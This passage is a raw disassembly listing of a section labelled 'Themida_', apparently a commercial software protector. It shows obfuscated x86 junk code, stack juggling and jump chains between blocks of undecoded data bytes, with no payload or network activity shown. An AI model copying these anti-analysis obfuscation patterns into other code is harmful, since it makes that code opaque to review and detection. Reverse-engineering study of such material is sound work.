		dd 34FFCF88h, 0C4835924h, 0BEF5E904h
		db 2 dup(0)
aM0Usz		db '¬0ØUéZ¸',0          ; DATA XREF: Themida_:0055DF40o
		db 0
; ---------------------------------------------------------------------------


loc_5623DB:				; CODE XREF: Themida_:00564929j
		mov	ecx, 6906185h
		sub	ecx, 5D2054Ch
		and	ebp, ecx
		jmp	loc_569F73
; ---------------------------------------------------------------------------


loc_5623ED:				; CODE XREF: Themida_:00568A07j
		add	edi, ebx
		add	edi, 7EFA652Eh
		push	edx
		mov	edx, 2CEC111Bh
		sub	edi, edx
		pop	edx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	627Ah
		mov	[esp], esi
		jmp	loc_571A07
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 0C2015FF8h, 0E924048Bh, 52EAh
; ---------------------------------------------------------------------------


loc_562438:				; CODE XREF: Themida_:00561B0Ej
		sub	eax, 0B51226Fh
		push	dword ptr [esp]
		pop	edx
		jmp	loc_570314
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 241C8704h, 0D8295A5Ch, 8B2434FFh, 2EE9241Ch,	89000092h
		dd 0D9095FFBh, 5B2434FFh, 4C481h, 89570000h, 4C781E7h
		dd 83000000h, 3C8704EFh, 4895C24h, 537DB824h, 0E953163Dh
		dd 9DD5h
; ---------------------------------------------------------------------------


loc_562488:				; CODE XREF: Themida_:00570A75j
		push	56E1h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 308B0BD9h
		mov	ecx, 1ED26318h
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		neg	ecx
		sub	ecx, 35A7EF3h
		push	ebp
		push	ecx
		mov	ecx, 41CB3C1Ch
		jmp	loc_571B56
; ---------------------------------------------------------------------------
		dw 1489h
aS_6		db '$é$Ô',0
		align 2


loc_5624CA:				; CODE XREF: Themida_:00562616j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 38A53519h
		xchg	ebp, edx
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		xchg	ebp, edx
		xor	edx, 0C75ACAE3h
		add	eax, edx
		pop	edx
		push	edi
		mov	edi, 4
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_55F736
; ---------------------------------------------------------------------------
		dd 5C2E60BAh, 5AD7013Ah, 0EDE9E9h
		db 0
; ---------------------------------------------------------------------------


loc_562521:				; CODE XREF: Themida_:0056974Cj
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 22406035h
		inc	ecx
		xor	ecx, 183C7026h
		push	eax
		mov	eax, 0F8872FCh
		dec	eax
		and	eax, 1340251Fh
		jmp	loc_5706AF
; ---------------------------------------------------------------------------
		dd 46BE565Eh, 0E998C69Fh, 0FFFFC2DBh, 71E94840h, 81FFFFE1h
		dd 0ED61BBEBh, 5BD8311Ch, 76236935h, 0D1D8F732h, 4483E9E8h
		dd 0B8500000h, 30D32736h, 0FFF247E9h, 88C588FFh, 5859EBh
		dd 1C8B66D8h, 0C90CE924h
		db 2 dup(0)
word_56258A	dw 6664h		; DATA XREF: Themida_:0055DEB8o
		dd 6866028Bh, 896658BFh, 4E92404h, 68FFFFBBh, 5922h, 0E9243489h
		dd 0FFFFFD5Fh, 45AF028h, 3478E91Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5625B2:				; CODE XREF: Themida_:0056FB62j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5601EF
; ---------------------------------------------------------------------------
		dd 2BD555Dh, 1000000h, 0C335DE9h, 240C3124h, 0E9240C33h
		dd 9024h, 5AE9D8F7h, 0B90000DBh, 4, 0E959CB01h,	7001h
; ---------------------------------------------------------------------------


loc_5625F8:				; CODE XREF: Themida_:0056B13Ej
		pop	esp
		jmp	loc_5689F2
; ---------------------------------------------------------------------------
aS?S		db '\S³?²',8,'(Úé-Ã',0
		db 0
; ---------------------------------------------------------------------------


loc_56260B:				; CODE XREF: Themida_:00569AC8j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5624CA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2EE9240Ch
		db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562623:				; CODE XREF: Themida_:00564672j
		sub	[esp+8], edi
		pop	edi
		add	dword ptr [esp+4], 3615764h
		jmp	loc_55FB37
; ---------------------------------------------------------------------------
		db 68h,	0B9h, 6Ch
		dd 1C890000h, 0C52BE924h, 489FFFFh, 10E95524h, 89000007h
		dd 76B5240Ch, 2823C280h, 23EA80EAh, 0B2526659h,	0E9D00079h
		dd 84F0h, 0C581DDF7h, 6E63103Fh, 0D2F7D587h, 8145D587h
		dd 0A35305CDh, 0F8ACE90Bh, 248BFFFFh, 4BE5624h,	12D004Ch
		dd 25E95EF3h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56268F:				; CODE XREF: Themida_:005674CDj
		sub	esi, 2B4DF89Bh
		add	edi, esi
		pop	esi
		add	ebx, edi
		jmp	loc_568E17
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0E3FD7EBEh, 16B9C781h, 0EF294A10h, 16B9EF81h, 215D4A10h
		dd 0B9515FFAh, 73282AC5h, 0FFC7C8E9h, 81E589FFh, 4C5h
		dd 4ED8100h, 87000000h,	895C242Ch, 27E92414h, 59000019h
		dd 8158C701h, 925EE7C7h, 0DDC78169h, 1D2DDB6h, 0C78FE9FBh
		dd 8F540000h, 0E9562404h, 0FFFFC777h
aMhn		db '¬hN:',0             ; DATA XREF: Themida_:0055DEF4o
		align 2
		dw 1C89h
		dd 4EC8324h, 14CEE9h, 8CE95F00h, 0BEFFFFB9h, 50B03951h
		dd 2617BCBDh, 5EF5312Eh, 4E5DEE31h, 899BE956h, 34FF0000h
		dd 24048B87h, 0FFF468E9h, 895658FFh, 6C27E9E6h,	0B8500000h
		dd 4, 8958C789h, 0EF815FFAh, 786449EBh,	4553E9h
		db 0
; ---------------------------------------------------------------------------


loc_562755:				; CODE XREF: Themida_:0055E59Aj
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_5676F7
; ---------------------------------------------------------------------------
		db 56h
		dd 5E2404FFh, 1022CE81h, 0F9682C1Ch, 89000055h,	5BBD242Ch
		dd 4548F85Ch, 1EBBE9h, 8EBF5700h, 0E94B1130h, 0FFFFEB43h
		dd 3D117268h, 0BF575D40h, 0D2B259Dh, 1DE9FD29h,	83000006h
		dd 3C8904ECh, 3BE95424h, 5500008Eh, 0A3E95D57h,	5B0000CEh
		dd 4C481h, 0E9590000h, 0FFFFB8DFh, 0CEFCE958h
		db 2 dup(0)
word_5627C6	dw 8F66h		; DATA XREF: Themida_:0055DDECo
		dd 0B8D1E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5627CE:				; CODE XREF: Themida_:00563130j
		add	esp, 4
		jmp	loc_55E85D
; ---------------------------------------------------------------------------


loc_5627D9:				; CODE XREF: Themida_:00566ADFj
		mov	eax, esi
		pop	esi
		sub	esi, eax
		pop	eax
		sub	esi, 4510091Fh
		jmp	loc_56E2D2
; ---------------------------------------------------------------------------


loc_5627EA:				; CODE XREF: Themida_:00569D5Bj
		mov	edx, 0C18CA2D6h
		jmp	loc_55F83D
; ---------------------------------------------------------------------------
		dd 0FB87DFF7h, 3F4668h,	243C8900h, 0F9CFE9h, 0EE835D00h
		dd 24343304h, 33243431h, 895C2434h, 0E189240Ch,	12B95157h
		dd 0BF3E0037h, 0C1FFC8F2h, 159CF01h, 2434FFF9h,	521AE9h
		dd 0FFB95100h, 29FFFFFFh, 0B85059CFh, 78925B6Ah, 6F25E956h
		dd 81490000h, 0EF0336E1h, 1623E90Ch, 3C8B0000h,	155E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56285A:				; CODE XREF: Themida_:0056FEDDj
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	edi, [esp]
		push	2556h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55E4B6
; ---------------------------------------------------------------------------


loc_5628A3:				; CODE XREF: Themida_:0056C584j
		pop	ebx
		jmp	loc_56B084
; ---------------------------------------------------------------------------
		db 88h,	0E6h, 88h
		dd 48B5AF5h, 4C48124h, 0E9000000h, 0FFFFC3DBh, 59CF315Eh
		dd 7382E947h, 4BD0000h,	1000000h, 242C8BE8h, 8B67E9h
		db 0
; ---------------------------------------------------------------------------


loc_5628D5:				; CODE XREF: Themida_:005616DBj
		pop	ebx
		xor	ecx, [esp]
		jmp	loc_56C9AA
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4EC8100h, 89000000h, 0BB53240Ch, 29C50F71h, 4EC81h
		dd 4FE90000h, 1000010h,	0FF042474h, 0E95E2434h,	0FFFFE698h
		dd 3BE9C8B7h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562913:				; CODE XREF: Themida_:0055E98Cj
		mov	[esp], edx
		push	eax
		push	ecx
		mov	ecx, 0F410056h
		sub	ecx, 0BF63E9C0h
		mov	eax, ecx
		jmp	loc_56EB4B
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 56000000h,	4BEh, 5EC28100h, 10B8821h, 5EEA81F2h
		dd 5E0B8821h, 4C281h, 14870000h, 8151E924h
		db 2 dup(0)
word_562956	dw 77FFh		; DATA XREF: Themida_:0055DF60o
a@san		db '@é€N',0
		align 2
		dw 0C381h
		dd 67E05C46h, 6319EB81h, 0C38122C8h, 370032D6h,	4EC81h
		dd 14890000h, 0C415E924h, 0EB800000h, 0E5B050C3h, 4F2CD8F6h
		dd 8B58C300h, 0C4812404h, 4, 2879F380h,	4E53E9DDh, 0CBFE0000h
		dd 0DE885266h, 0F388D6F6h, 70E95A66h, 83000023h, 0EC8104C4h
		dd 4, 89242C89h, 4EC83E5h, 0BB241C89h, 4, 2C95C581h, 0DD01507Ah
		dd 2C95ED81h, 1C8B507Ah, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 4BE56h, 0C5810000h, 1CBA4326h,	0ED81F501h
		dd 1CBA4326h, 242C875Eh, 8124248Bh, 530994C3h, 7BE9513Eh
		dd 68000036h, 4BC0h, 0B9240C89h, 4, 0CB7CAC2Dh,	6BB22D66h
		dd 0C8010C29h, 9BCEE9h,	24048100h, 6F5B7FC9h, 0E9242C8Bh
		dd 8ED5h, 0FF2434FFh, 34FF2434h, 0AEE95924h
		db 0D7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562A4F:				; CODE XREF: Themida_:0056385Ej
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56FAD8
; ---------------------------------------------------------------------------


loc_562A61:				; CODE XREF: Themida_:00570C70j
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_562300
; ---------------------------------------------------------------------------


loc_562A7B:				; CODE XREF: Themida_:0056F8DBj
		pop	eax
		or	ecx, 29964537h
		jmp	loc_570ED5
; ---------------------------------------------------------------------------
aLSc		db '‹$$é–}',0
		dw 0F700h
aSl		db 'ÓéL±',0
		align 2


loc_562A96:				; CODE XREF: Themida_:0056EFE2j
		push	4E1Ah
		mov	[esp], esi
		jmp	loc_569249
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0A4C180A8h, 0E980C9FEh, 59C828F6h, 0FCDBE9h,	0B5E5E900h
		db 2 dup(0FFh)
word_562ABA	dw 8953h		; DATA XREF: Themida_:0055E054o
		dd 0F1D4E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562AC2:				; CODE XREF: Themida_:00569FC9j
		mov	ebp, 266831B6h
		push	ebx
		push	0FFFFFFFFh
		pop	ebx
		sub	ebp, ebx
		jmp	loc_570B1B
; ---------------------------------------------------------------------------
		db 28h,	0D8h, 4
		dd 68032C05h, 9Ch, 0E9240C89h, 5A79h
; ---------------------------------------------------------------------------


loc_562AE8:				; CODE XREF: Themida_:00561C39j
		add	ebx, eax
		pop	eax
		jmp	loc_560CD9
; ---------------------------------------------------------------------------
aRsa		db '±ÜRé ,',0
		align 4


loc_562AF8:				; CODE XREF: Themida_:0055ED69j
		xchg	eax, [esp]
		jmp	loc_55E599
; ---------------------------------------------------------------------------
		dd 472C6857h, 13E96539h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B0B:				; CODE XREF: Themida_:00572202j
		mov	ecx, esp
		jmp	loc_5671E3
; ---------------------------------------------------------------------------
		dw 35B8h
		dd 0F747513Dh, 17BB05D8h, 0E0C17765h, 71E94804h
		db 0A9h, 2 dup(0)
aRtst		db 'RTéâ½',0            ; DATA XREF: Themida_:0055DE74o
		align 2
		dw 148Bh
		dd 4C48124h, 0E9000000h, 0FFFFC7CEh
; ---------------------------------------------------------------------------


loc_562B3C:				; CODE XREF: Themida_:0056A549j
		shl	ecx, 8
		not	ecx
		xor	ecx, 0F1EABB87h
		mov	edx, ecx
		jmp	loc_5705B5
; ---------------------------------------------------------------------------


loc_562B4E:				; CODE XREF: Themida_:00570362j
		sub	esi, 1E0F5BA4h
		add	esi, edi
		add	esi, 1E0F5BA4h
		pop	edi
		push	eax
		mov	eax, 4
		add	esi, 4510091Fh
		jmp	loc_566C0A
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 242C895Ch, 4193E9h
		dd 4895C00h, 0B80AE924h, 0F231FFFFh, 8F48E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562B9A:				; CODE XREF: Themida_:005680D0j
		xchg	edx, [esp]
		pop	esp
		push	ebp
		jmp	loc_56C727
; ---------------------------------------------------------------------------
		dd 0EC81E589h, 4, 0E9243C89h, 835Ah, 6AEC80h, 0DF96E9E3h
		dd 6268FFFFh, 58189C4Fh, 0A3258D0Dh, 37FDE923h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562BCE:				; CODE XREF: Themida_:0056CA63j
		sub	ebx, 29C645D3h
		jmp	loc_569CF7
; ---------------------------------------------------------------------------
		db 1, 0C8h, 0E9h
		dd 0FFFFEF33h
; ---------------------------------------------------------------------------


loc_562BE0:				; CODE XREF: Themida_:0056C736j
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		not	edx
		jmp	loc_56CA68
; ---------------------------------------------------------------------------


loc_562BED:				; CODE XREF: Themida_:0056CC08j
		add	esi, edx
		pop	edx
		pop	edi
		jmp	loc_56D553
; ---------------------------------------------------------------------------
		dw 14F7h
aSny		db '$[é­Y',0
		dw 8000h
		dd 0E1C015C1h, 7E9C007h, 0D75AE9h
		db 0
byte_562C0D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055DE34o
aSg		db '$éG',8,0
		align 2
		dw 0C8Bh
		dd 0D624E924h, 3C89FFFFh, 6C9EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562C26:				; CODE XREF: Themida_:0056A424j
		mov	eax, 41297525h
		jmp	loc_568F7E
; ---------------------------------------------------------------------------
		dd 0E9F9015Fh, 72FEh, 4C2815Ah,	0E9000000h, 387Dh, 0A6B4BCB1h
		dd 8859CC30h, 5B93E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562C52:				; CODE XREF: Themida_:0056C702j
		or	eax, edx
		pop	edx
		or	eax, 55B3A21h
		neg	eax
		or	eax, 1F660BB1h
		sub	eax, 0FF66CBB7h
		add	ebx, 52F370AAh
		jmp	loc_56DAE0
; ---------------------------------------------------------------------------


loc_562C71:				; CODE XREF: Themida_:00569321j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_561912
; ---------------------------------------------------------------------------
		db 81h
		dd 0C17CAC2h, 4BBD5578h, 0E9582A69h, 0FFFFF3FEh, 8B2434FFh
		dd 0DDE92414h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562C9B:				; CODE XREF: Themida_:0056DC7Fj
		mov	[esp], edi
		mov	edi, 2
		push	edx
		mov	edx, 45B809FFh
		add	ebp, 7B9B5CC1h
		jmp	loc_565B36
; ---------------------------------------------------------------------------


loc_562CB4:				; CODE XREF: Themida_:0056EA22j
		add	esp, 4
		sub	esp, 4
		jmp	loc_572496
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0F264h, 6658C108h, 28C2B652h, 525A66F1h, 8850CE88h
		dd 58E388F4h, 0A1E9595Ah, 0F60000E5h, 80FD86D7h, 0EC8106EDh
		dd 4, 0E9240C89h, 0FFFFE14Ch, 341F3D2Dh, 0FED7E910h, 0FB01FFFFh
		dd 0DE9C381h, 3C8B4CC4h, 4C48324h, 0E95BD801h, 85BEh, 0FCC38166h
		dd 0BDE95E69h, 0FFFFCCh, 0E9872CD8h, 4806h, 2E5C15Eh, 0FFD664E9h
		dd 2434FFFFh, 8324048Bh, 9AE904C4h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562D43:				; CODE XREF: Themida_:00560E1Fj
		mov	edx, 4
		jmp	loc_56B154
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8B2434FFh, 22E92414h, 0BD0000E0h, 2773276Ah,	49CFCD81h
		dd 814D28EDh, 0B40592CDh, 486AE938h, 0F7570000h, 0E95F241Ch
		dd 0FFFFFA2Fh, 5324048Bh, 425E9h
		db 0
; ---------------------------------------------------------------------------


loc_562D85:				; CODE XREF: Themida_:0056BB61j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 0FFB8DAE9h, 243C89FFh, 4BA52h, 0D7890000h, 5FFD895Ah
		dd 335DEE01h, 34312434h, 24343324h, 66C3315Ch, 6600B60Fh
		dd 66170968h, 0E9240489h, 0FFFFB2E3h, 81243C8Bh, 4C4h
		dd 0CF86E900h, 148B0000h, 4C48324h, 0E9E9C188h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562DD7:				; CODE XREF: Themida_:00567F7Dj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_56D2CC
; ---------------------------------------------------------------------------


loc_562DF1:				; CODE XREF: Themida_:0056C9BBj
		mov	[esp], edx
		jmp	loc_570C25
; ---------------------------------------------------------------------------
		db 4Eh,	53h, 52h
		dd 3B4731BAh, 57BBBB4Bh, 0D3298C15h, 0E9DE015Ah, 0FFFFC6A0h
; ---------------------------------------------------------------------------


loc_562E10:				; CODE XREF: Themida_:0056956Ej
		add	eax, ebx
		add	eax, 0CD91EF0h
		jmp	loc_561CF1
; ---------------------------------------------------------------------------


loc_562E1C:				; CODE XREF: Themida_:00563909j
		push	esi
		push	33DFh
		jmp	loc_561592
; ---------------------------------------------------------------------------


loc_562E27:				; CODE XREF: Themida_:0056DF9Bj
		xchg	edx, [esp]
		pop	esp
		xchg	eax, ebx
		push	8A7h
		jmp	loc_56370A
; ---------------------------------------------------------------------------


loc_562E36:				; CODE XREF: Themida_:00572894j
		add	bl, 5
		add	bl, 39h
		add	bl, 13h
		jmp	loc_56FEE2
; ---------------------------------------------------------------------------
		dd 91E95A54h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562E4B:				; CODE XREF: Themida_:0056EC6Ej
		pop	dword ptr [esp]
		pop	ebp
		jmp	loc_560D6A
; ---------------------------------------------------------------------------
		dd 0E9242489h, 4CDh, 0BDE9CA01h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_562E63:				; CODE XREF: Themida_:0056ED81j
		xor	ecx, 6893B51h
		inc	ecx
		shl	ecx, 7
		jmp	loc_56E614
; ---------------------------------------------------------------------------


loc_562E72:				; CODE XREF: Themida_:0055E943j
		push	edi
		jmp	loc_565DE1
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0FF5604C4h, 8B042474h, 89502434h,	405E0h
		dd 0C0830000h, 24048704h, 1180E9h, 2CE95500h, 580000AFh
		dd 30EEB951h, 0D9F76F7Eh, 0FFF999E9h, 5AD531FFh, 8105EDC1h
		dd 8728B6C5h, 50C58156h, 2905487Ch, 0AB685DE8h,	8900002Ch
		dd 7668241Ch, 8B313D56h, 0C481241Ch, 4,	0E51A442Dh, 75F90547h
		dd 0D8015C80h, 8075F92Dh, 1A44055Ch, 1C8B47E5h,	4C48324h
		dd 3DEE9h, 0EF805A00h, 8058667Dh, 0F82895F7h, 0E92434FFh
		dd 0C723h, 13CBF57h, 92E92B69h,	890000D2h, 0DF68240Ch
		dd 89000059h, 4B82404h,	0E9000000h, 0B122h, 315DE889h
		dd 24048BC1h, 6804C483h, 3BC9h,	5E240C89h, 6903E959h
		db 2 dup(0)
word_562F46	dw 8F64h		; DATA XREF: Themida_:0055DE04o
		dd 0B151E902h, 0D8B3FFFFh, 0FE21B652h, 3AF9E9CEh, 0E2890000h
		dd 4C281h, 0EA830000h, 24148704h, 243C895Ch, 3932E4BFh
		dd 9DE95240h, 81FFFFF5h, 4C2h, 24148700h, 0B951565Ch, 2
		dd 0DFE9CE89h
		db 0D8h, 2 dup(0)
aPuOSc		db 'PU½<OÒ éC·',0       ; DATA XREF: Themida_:0055DDC4o
		dw 3300h
		dd 0C31240Ch, 240C3324h, 6624248Bh, 0E9240C8Bh,	0D7FFh
dword_562FB0	dd 2B60F66h, 2FCB6866h,	24048966h, 0FFB0DEE9h, 58F668FFh
					; DATA XREF: Themida_:0055DE28o
		dd 0C890000h, 0E1EFE924h, 248B0000h, 0CFBCE924h, 0BABD0000h
		dd 451C3A1Dh, 0FD87EDD1h, 0FFFD8DE9h, 0B6B151FFh, 8030E980h
		dd 0F180C9F1h, 66D9F69Ah, 0EAE953h, 0C330000h, 0ED8DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563002:				; CODE XREF: Themida_:00561AA1j
		neg	eax
		add	eax, 2087709Dh
		jmp	loc_56F9B1
; ---------------------------------------------------------------------------
		dw 4FB8h
		dd 351B7D4Ah, 14C5B2Dh,	48BC289h, 4C48124h, 50000000h
		dd 2F1E69B8h, 69452D21h, 0E92D5358h, 215B167Dh,	0EA8158C2h
		dd 5E94310Ch, 439668h, 242C8900h, 5DB95153h, 8138281Dh
		dd 0DBD502E9h, 59CB891Bh, 0FEA1E7BDh, 5BDD293Ch, 6FC5E581h
		dd 564D3541h, 0C681E689h, 4, 4EE81h, 34870000h,	0B8B1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56307A:				; CODE XREF: Themida_:0056AE00j
		mov	eax, 4
		jmp	loc_564690
; ---------------------------------------------------------------------------


loc_563084:				; CODE XREF: Themida_:0056073Fj
		add	esp, 4
		neg	edx
		sub	edx, 6D4609ACh
		shl	edx, 2
		shr	edx, 5
		sub	esp, 4
		jmp	loc_55F96A
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2434h, 57D6F724h, 36C8E9h, 4F3C6800h, 0C890000h
		dd 59A6B924h, 0E181758Fh, 15F50AB3h, 8306E9C1h,	0F181FFC1h
		dd 59AB1030h, 0AC7D0B2Dh, 0E9C8296Bh, 0FFFFFE30h, 0E92434FFh
		dd 138Eh, 0D9307FB3h, 0C8885B66h, 0CC0FE59h, 0EC06E98Eh
		dd 0ED81FFFFh, 9920CDD3h, 34FFEA01h, 0C4835D24h, 4C28104h
		dd 33000000h, 14312414h, 80E6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563116:				; CODE XREF: Themida_:0055EA51j
		mov	esi, 1146389Ch
		jmp	loc_56FF46
; ---------------------------------------------------------------------------


loc_563120:				; CODE XREF: Themida_:005687FFj
		push	eax
		jmp	loc_55E67E
; ---------------------------------------------------------------------------


loc_563126:				; CODE XREF: Themida_:0056684Ej
		push	esp
		jmp	loc_56CDB2
; ---------------------------------------------------------------------------


loc_56312C:				; CODE XREF: Themida_:0055E454j
		pop	esp
		mov	eax, [esp]
		jmp	loc_5627CE
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C240408h, 0FFAF5EE9h, 5EF729FFh, 89F0E9h, 6CCC6800h
		dd 24890000h, 24048124h, 4, 5D2434FFh, 81E38953h, 4C3h
		dd 4EB8100h, 87000000h,	0E95C241Ch, 0CA72h
; ---------------------------------------------------------------------------


loc_563174:				; CODE XREF: Themida_:005666DBj
		sub	ecx, 3FC63350h
		jmp	loc_564727
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5FFD0100h, 8B242C87h, 0E1F72424h, 6BC268h, 0E83DE900h
		dd 0E9400000h, 91Ah
; ---------------------------------------------------------------------------


loc_5631A0:				; CODE XREF: Themida_:00572A3Fj
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_561B36
; ---------------------------------------------------------------------------
		dw 5B54h
		dd 4C381h, 0C3830000h, 241C8704h, 66E9525Ch, 1000083h
		dd 0BB535AD0h, 63B91380h, 4FAAE9h, 4C48100h, 66000000h
		dd 0B1515053h, 40E980D6h, 3459C888h, 51A004C1h,	0FFF390E9h
		db 0FFh
byte_5631E9	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0055DF74o
		dd 0D359669Dh, 0E99C241Ch, 0FFFFAEA7h, 0F7DFF759h, 8736E9DFh
		dd 48F0000h, 54525C24h,	0FFFA2BE9h, 7A3FBDFFh, 0EF093344h
		dd 0E9534F5Dh, 29Ah, 698EA81h, 0FA01733Bh, 698C281h, 0EA81733Bh
		dd 5F4E67E9h, 0F852E9h,	1BC93500h, 0C329764Fh, 8324048Bh
		dd 0F32904C4h, 2773C381h, 0C3811A17h, 3D786091h, 4EC81h
		dd 2C890000h, 74BF5724h, 0E96BEA44h, 8C67h, 50585450h
		dd 6BE9E089h, 66FFFFECh, 0E95BDE89h, 0D3A2h
; ---------------------------------------------------------------------------


loc_563278:				; CODE XREF: Themida_:00571261j
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 24h
		add	ecx, edi
		add	[ecx], esi
		jmp	loc_56AA99
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 96h
		dd 0E9AB8FFFh, 0FFFFE973h, 34FFD789h, 54555A24h, 4C5815Dh
		dd 83000000h, 2C8704C5h, 1FE95C24h
		db 0A7h, 2 dup(0)
byte_5632BB	db 8Fh			; DATA XREF: Themida_:0055DEC4o
		dd 0ADDDE902h, 0CF00FFFFh, 240C8B66h, 2C483h, 0D12C5BF8h
		dd 93E9D028h, 290000BFh, 56762DD8h, 9BE9313Dh, 520000EDh
		dd 0EFCEE9h, 242C8700h,	24048F5Ch, 0F24248Bh, 3E2868C8h
		dd 4890000h, 0AD9DE924h, 0DDF7FFFFh, 0F6A1E9h, 0AD91E900h
		dd 2959FFFFh, 2434FFC1h, 6E10E9h, 4BE00h, 0EF810000h, 7EB9621Bh
		dd 0FFD02BE9h, 4BF57FFh, 1000000h, 8B04247Ch, 0C483243Ch
		dd 2434FF04h, 4C48358h,	749D68h, 24048900h, 405E089h, 83000000h
		dd 48704E8h, 0C3E95C24h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56335B:				; CODE XREF: Themida_:00560D4Aj
		mov	edx, [esp]
		push	2E57h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_55E9F5
; ---------------------------------------------------------------------------
		db 1, 0C2h, 0E9h
		dd 0D4B2h, 41E6CE81h, 0B95144C7h, 305F3B40h, 362BF181h
		dd 0C18101C3h, 8A8CAE5Eh, 3159CE29h, 3099E9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563396:				; CODE XREF: Themida_:00571E86j
		add	dword ptr [esp+4], 52FB71CBh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 52FB71CBh
		add	dword ptr [esp+4], 14AA2F0Eh
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56A8FA
; ---------------------------------------------------------------------------


loc_5633C3:				; CODE XREF: Themida_:00568338j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_566B51
; ---------------------------------------------------------------------------
		dd 31240C33h, 59E9240Ch, 580000D9h, 893D6735h, 9622E93Dh
		dd 0CE890000h, 0B7C4E956h, 0C280FFFFh, 5AD58844h, 1C8BFD00h
		dd 0EF48E924h, 8268FFFFh, 0E900005Bh, 0C3C4h, 7B9EC281h
		dd 0C281640Fh, 7C16597Dh, 7794E9h, 680CBD00h, 8EBA64ABh
		dd 11274A4h, 242C8BEAh,	0BD19E9h, 2474FF00h, 48F5804h
		dd 3C42E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563452:				; CODE XREF: Themida_:00566523j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_568B28
; ---------------------------------------------------------------------------
